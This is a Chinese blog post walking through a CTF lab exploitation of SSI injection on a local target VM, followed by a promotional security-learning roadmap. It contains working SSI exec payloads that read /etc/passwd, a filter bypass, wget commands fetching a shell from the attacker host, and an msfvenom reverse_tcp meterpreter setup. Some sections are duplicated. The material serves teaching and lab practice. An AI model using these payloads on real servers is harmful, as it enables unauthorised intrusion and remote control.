CTF之Web安全SSI注入

前言

如何从外部进入主机?

SSI注入攻击介绍

SSI(server side inject)的出现是为了赋予HTML静态页面动态的效果,通过SSI来执行系统命令;并返回对应的结果。

如果再网站目录中发现了.stm;.shtm;.shtml;这样的文件后缀名,并且网站对于SSI的输入没有做到严格过滤或者过滤不充分;很有可能被SSI注入攻击。

SSI语法

显示服务器端环境变量 **< #**echo >

本文档名称:

<!–#echo var=“DOCUMENT_NAME”–>

现在时间:

<!–#echo var=“DATE_LOCAL”–>

显示IP地址:

<! #echo var=“REMOTE_ADDR”–>

将文本内容直接插入到文档中 < #include>

<! #include file=“文件名称”–>

<! #include virtual=“文件名称”–>

注:file包含文件可以在同一级目录或其子目录中,但不能在上一级目录中,virtual包含文件可以是Web站点上的虚拟目录的完整路径

显示WEB文档相关信息 **< #flastmod><#fsize>(**如文件制作日期/大小等 )

文件最近更新日期:

<! #flastmod file=“文件名称”–>

文件的长度:

<!–#fsize file=“文件名称”–>

直接执行服务器上的各种程序 **< #exec>(**如CGI或其他可执行程序 )

<!–#exec cmd=“文件名称”–>

<!–#exec cgi=“文件名称”–>

攻击机:kali 10.0.2.4

靶场机器:linux10.0.2.15

信息探测

扫描主机服务信息以及服务版本

nmap -sV [ip]


可以看出靶场机器开放了80端口并且操作系统是ubuntu

快速扫描主机全部信息

nmap -T4 -A -v [ip]

既然是开启的http服务,那么就应该是可以访问的,思路就是可以在浏览器直接访问查看有没有可以利用的信息,并且扫描结果显示robots协议中发现一个信息。有时候还会在源代码中藏有信息。

这个在默认界面没有发现信息,但是robots中发现了目录
/spukcab

挨个查看,看看有无敏感信息。可以下载下来,more查看内容,发现一个可能有用的信息,根据前几次的经验,这里可能是个用户名webmaster;只是可能。还有就是站点根目录的位置已经得到了。

其他的暂时没有,继续探测,因为是http服务,所以可以使用nikto或者dirb进行敏感目录扫描

深入挖掘

分析nmap、nikto扫描结果,并对结果进行分析,挖掘可利用的信息;

都进行浏览查看敏感信息,寻找可利用的位置;

挨个访问查看信息,http://10.0.2.15/index

上面扫描中有个SSI

还有这里,发现.shtml文件

猜想可能存在SSI注入,其实找了很多信息,就是为了找到这个能证明有SSI存在的标志。

继续找可以利用的信息,发现http://10.0.2.15/index.php

可以在这个表单提交处,这里执行SSI的命令

漏洞利用

根据提示来利用对应的SSI注入

将上面index页面中的payload复制一下,粘贴到表单中进行提交

像这样

提交后发现第一行过滤了尖括号,第二行的exec被过滤了。而且payload也不是完整的。

绕过这个exec的过滤条件,因为是linux系统,所以首先想到的应该是大小写。而且完整的payload应当在前面有!

像这样

<!--#exec cmd="cat /etc/passwd" --> 

比如:

列举当前目录中的文件和目录

<!--#exec cmd="ls"-->

就是可以执行一些终端命令

进一步利用,下载一个shell脚本并重命名为shell.php

<!--#exec cmd="wget http://ip/shell.txt | rename shell.txt shell.php"-->

制作webshell

之前使用的php制作的webshell,这次使用python

msfvenom -p python/meterpreter/reverse_tcp lhost=10.0.2.4 lport=4444 -f raw > /root/Desktop/shell.py

启动监听,使用metasploit对4444端口进行监听

msf5 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp  
msf5 exploit(multi/handler) > set payload python/meterpreter/reverse_tcp  
payload => python/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > set lhost 10.0.2.4
lhost => 10.0.2.4
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.0.2.4:4444

设置好后开始侦听4444端口

将shell.py移动到apache目录下,才可以使用IP地址的链接下载

然后需要开启apache服务service apache2 start

然后执行下载命令将shell下载到靶机的站点目录当中,

<!--#exec cmd="wget http://10.0.2.4/shell.py"-->

然后执行语句赋予shell执行权限再进行执行

#加权限  
<!--#exec cmd="chmod 777 shell.py"-->  
#执行  
<!--#exec cmd="python shell.py"-->

然后看到浏览器在不断发送请求,到终端查看监听状况,发现返回了meterpreter

输入?可以查看当前可执行的命令

Core Commands

Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background
thread
channel Displays information or control active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current
session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the
session
migrate Migrate the server to another process
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the session
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish
session.
transport Change the current transport mechanism
use Deprecated alias for “load”
uuid Get the UUID for the current session
write Writes data to a channel

Stdapi: File system Commands

Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
chmod Change the permissions of a file
cp Copy source to destination
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
upload Upload a file or directory

Stdapi: Networking Commands

Command Description
------- -----------
ifconfig Display interfaces
ipconfig Display interfaces
portfwd Forward a local port to a remote service
resolve Resolve a set of host names on the target

Stdapi: System Commands

Command Description
------- -----------
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getuid Get the user that the server is running as
kill Terminate a process
localtime Displays the target system’s local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes
shell Drop into a system command shell
sysinfo Gets information about the remote system, such as OS

Stdapi: Audio Output Commands

Command Description
------- -----------
play play a waveform audio file (.wav) on the target system

输入shell进行利用,再查看id,发现当前登录的只是一个普通用户,而不是root用户

终端可以选择进行优化一下,就是让其显示用户名和主机名,和kali的终端形式那样。

python -c 'import pty;pty.spawn("/bin/bash")'

然后就是提权,靶场没有设置flag值,目的是为了学习SSI注入,所以就不再继续进行下去了。

总结

对于SSI漏洞服务器有很多过滤机制,需要进行绕过,比如大小写。

防御措施:

一、进行过滤,过滤这些语法中的特殊字符

二、关闭服务器SSI相关功能

输入shell进行利用,再查看id,发现当前登录的只是一个普通用户,而不是root用户

[外链图片转存中…(img-h4V2I4eh-1680071584862)]终端可以选择进行优化一下,就是让其显示用户名和主机名,和kali的终端形式那样。

python -c 'import pty;pty.spawn("/bin/bash")'

然后就是提权,靶场没有设置flag值,目的是为了学习SSI注入,所以就不再继续进行下去了。

总结

对于SSI漏洞服务器有很多过滤机制,需要进行绕过,比如大小写。

防御措施:

一、进行过滤,过滤这些语法中的特殊字符

二、关闭服务器SSI相关功能

最后

分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

在这里插入图片描述

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取

有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:

高清学习路线图或XMIND文件(点击下载原文件)

还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值